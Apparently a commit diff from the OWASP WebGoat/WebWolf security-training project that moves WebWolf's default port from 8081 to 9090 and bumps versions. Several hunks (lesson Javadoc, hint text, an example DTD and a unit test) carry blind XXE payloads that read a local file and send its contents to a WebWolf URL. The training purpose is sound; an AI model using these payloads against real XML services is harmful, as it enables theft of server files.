java -jar webwolf-<<version>>.jar
java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localhost]
```
By default WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you
can bind it to a different address (default localhost)
WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need
to find out the ip address of the Docker container.
```
WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
docker pull webgoat/webwolf
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 9090:9090 webgoat/webwolf /home/webwolf/run.sh
```
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
This will start the application on port 8081, click webWolfLink:here[] to open WebWolf.
This will start the application on port 9090, click webWolfLink:here[] to open WebWolf.
First thing you need to do is register a new user within WebWolf.

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>

View File

@ -89,7 +89,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
/**
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY % remote SYSTEM "http://localhost:8081/files/admin2/attack.dtd">
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin2/attack.dtd">
%remote;
]>
<comment> <text>test&send;</text></comment>
@ -102,14 +102,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
* <pre>
* <?xml version="1.0" encoding="UTF-8"?>
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/ping?text=%file;'>">
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/ping?text=%file;'>">
* %all;
* </pre>
*
* This will be reduced to:
*
* <pre>
* <!ENTITY send SYSTEM 'http://localhost:8081/ping?text=[contents_file]'>
* <!ENTITY send SYSTEM 'http://localhost:9090/ping?text=[contents_file]'>
* </pre>
*
* Wire it all up in the xml send to the server:
@ -117,7 +117,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
* <pre>
* <?xml version="1.0"?>
* <!DOCTYPE root [
* <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/test.dtd">
* <!ENTITY % remote SYSTEM "http://localhost:9090/WebWolf/files/test.dtd">
* %remote;
* ]>
* <user>

View File

@ -43,4 +43,4 @@ xxe.blind.hints.1=This assignment is more complicated you need to upload the con
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: &lt;?xml version="1.0"?&gt;&lt;!DOCTYPE comment [&lt;!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd"&gt;%remote;]&gt;&lt;comment&gt;&lt;text&gt;test&send;&lt;/text&gt;&lt;/comment&gt;
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: &lt;?xml version="1.0"?&gt;&lt;!DOCTYPE comment [&lt;!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd"&gt;%remote;]&gt;&lt;comment&gt;&lt;text&gt;test&send;&lt;/text&gt;&lt;/comment&gt;

View File

@ -1,5 +1,4 @@
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:/home/nbaars/.webgoat-v8.0.0.M14/XXE/secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
%all;
~

View File

@ -37,7 +37,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
private String webGoatHomeDirectory;
@Rule
public WireMockRule webwolfServer = new WireMockRule(8081);
public WireMockRule webwolfServer = new WireMockRule(9090);
@Before
public void setup() throws Exception {
@ -74,7 +74,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
//Host DTD on WebWolf site
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\">\n" +
"%all;";
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
.willReturn(aResponse()
@ -85,7 +85,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
//Make the request from WebGoat
String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" +
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
"<!ENTITY % remote SYSTEM \"http://localhost:9090/files/test.dtd\">" +
"%remote;" +
"]>" +
"<comment><text>test&send;</text></comment>";

View File

@ -1,6 +1,6 @@
FROM openjdk:8-jre-slim
ARG webgoat_version=8.0-SNAPSHOT
ARG webgoat_version=v8.0.0.SNAPSHOT
RUN \
apt-get update && apt-get install && \

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<properties>

View File

@ -1,6 +1,6 @@
FROM openjdk:8-jre-slim
ARG webwolf_version=8.0-SNAPSHOT
ARG webwolf_version=v8.0.0.SNAPSHOT
RUN \
apt-get update && apt-get install && \
@ -9,6 +9,6 @@ RUN \
USER webwolf
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"]
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.port=9090", "--server.address=0.0.0.0"]
EXPOSE 8081
EXPOSE 9090

View File

@ -21,7 +21,7 @@ At the moment WebWolf offers support for:
## 1. Run using Docker
If you use the Docker image of WebGoat this application will automatically be available. Use the following
URL: http://localhost:8081/WebWolf
URL: http://localhost:9090/WebWolf
## 2. Standalone
@ -36,7 +36,7 @@ Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
```Shell
mvn -pl webwolf spring-boot:run
```
... you should be running WebWolf on localhost:8081/WebWolf momentarily
... you should be running WebWolf on localhost:9090/WebWolf momentarily

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>

View File

@ -32,6 +32,11 @@ public class FileServer {
@Value("${webwolf.fileserver.location}")
private String fileLocatation;
@Value("${server.address}")
private String server;
@Value("${server.port}")
private int port;
@PostMapping(value = "/WebWolf/fileupload")
@SneakyThrows
@ -84,6 +89,7 @@ public class FileServer {
}
modelAndView.addObject("files", uploadedFiles);
modelAndView.addObject("webwolf_url", "http://" + server +":" + port);
return modelAndView;
}
}

View File

@ -2,8 +2,8 @@ server.error.include-stacktrace=always
server.error.path=/error.html
server.session.timeout=6000
#server.contextPath=/WebWolf
server.port=8081
server.address=127.0.0.1
server.port=9090
server.address=localhost
server.session.cookie.name = WEBWOLFSESSION
spring.datasource.url=jdbc:hsqldb:hsql://${webgoat.server.address:localhost}:9001/webgoat

View File

@ -20,7 +20,7 @@
</p>
<p>
Each file will be available under the following url:
http://localhost:8081/files/{username}/{filename}.
<span th:text="${webwolf_url}">http://localhost:9090/</span>/files/{username}/{filename}.
</p>
<p>
You can copy and paste the location from the table below.
@ -33,7 +33,7 @@
</div>
<div class="panel-body">
<!-- Standar Form -->
<!-- Standard Form -->
<form th:action="@{/WebWolf/fileupload}" method="post" enctype="multipart/form-data">
<div class="form-inline">
<div class="form-group">